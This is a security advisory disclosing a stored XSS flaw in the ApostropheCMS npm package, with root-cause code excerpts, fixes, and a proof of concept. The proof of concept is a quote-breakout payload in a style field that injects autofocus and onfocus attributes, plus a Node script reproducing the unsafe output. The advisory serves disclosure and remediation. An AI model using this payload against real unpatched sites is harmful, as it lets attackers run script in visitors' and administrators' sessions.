GHSA-7jg5-frgc-c67w
ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | apostrophe | < 4.34.0 | 4.34.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.
An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.
This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.
## Details
### Root Cause 1: Free-form string style values retain HTML metacharacters
The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:
[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)
```javascript
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
```
Quotes therefore remain in a value supplied through a style field.
### Root Cause 2: The value is converted into inline CSS without value validation
For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:
[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)
[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)
```javascript
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
```
For example, the value below becomes part of a `font-family` declaration:
```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```
### Root Cause 3: Attribute values are serialized without HTML escaping
`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`:
[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)
```javascript
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
```
The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified.
### Root Cause 4: The unsafe string is used by the automatic public wrapper
Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:
[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)
```javascript
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
```
Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.
### Why the CVE-2026-33889 defense does not prevent this variant
The sibling advisory led to a defense in `getWidgetElements()` that rewrites `</` before CSS is inserted into a `<style>` element:
```javascript
css = css.replaceAll('</', '<\\/');
```
This protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement.
## Affected Configurations and Versions
The verified configuration has all of the following properties:
- A widget defines a style field with a free-form type such as `string`.
- The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value.
- The attacker has permission to edit a widget containing the field.
- The malicious content is published, or a higher-privileged user views the affected draft.
Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.
## Proof of Concept
### Step 1: Configure a widget with a free-form inline style
Add a style field similar to the following to a widget module:
```javascript
module.exports = {
extend: '@apostrophecms/widget-type',
options: {
label: 'Style Attribute Test'
},
styles: {
add: {
customFont: {
type: 'string',
label: 'Custom Font',
property: 'font-family'
}
}
}
};
```
The absence of `selector` makes the generated declaration inline.
### Step 2: Store the payload
As a user who may edit this widget, enter the following value in `customFont` and save the widget:
```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```
Publish the page, or have another user view the affected draft.
### Step 3: Reproduce the renderer output directly
The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:
```javascript
const methodsFactory = require(
'./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);
(async () => {
const { renderScopedStyles } = await import(
'./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
);
const payload =
'serif" tabindex="0" autofocus ' +
'onfocus="document.body.dataset.inline=\'executed\'';
const styles = renderScopedStyles(
[ {
name: 'customFont',
type: 'string',
property: 'font-family'
} ],
{ customFont: payload }
);
Object.assign(styles, {
styleId: 'audit-inline',
widgetId: 'widget-1'
});
const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
console.log('inline:', styles.inline);
console.log('attributes:', attrs);
})();
```
### Step 4: Observe the unsafe HTML
The current renderer produced:
```text
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
```
The serializer then produced an attribute string equivalent to:
```html
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
```
The attacker-controlled quote terminates the `style` attribute. `tabindex`, `autofocus`, and `onfocus` become separate live attributes.
### Step 5: Confirm execution in a browser
When the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:
```html
<body data-inline="executed">
<div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
```
The safe behavior would be for the quote to appear as `"` inside the `style` attribute, with no injected attributes and no change to `document.body.dataset`.
## Impact
- **Stored XSS on published pages:** JavaScript executes for unauthenticated visitors who load a page containing the affected widget.
- **Privilege escalation:** If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim.
- **Persistent content manipulation:** The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.
- **Phishing and data access:** The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.
## Recommended Fix
### Fix 1: HTML-escape every string-returning attribute value
The string branch of `getWidgetAttributes()` should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode `&`, `<`, `>`, `"`, and `'` using a centralized Apostrophe HTML encoder.
Conceptually:
```javascript
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => {
return `${key}="${escapeHtmlAttribute(String(value))}"`;
})
.join(' ');
```
The structured `asObject` branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.
### Fix 2: Validate style values by their destination grammar
Output encoding is the primary fix. As defense in depth:
- Require select/range/color or another constrained type for common CSS properties.
- Parse and validate free-form CSS property values instead of treating them as arbitrary strings.
- For `class: true`, accept only individual valid class-name tokens rather than an unrestricted string.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w
- https://nvd.nist.gov/vuln/detail/CVE-2026-112958
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/[email protected]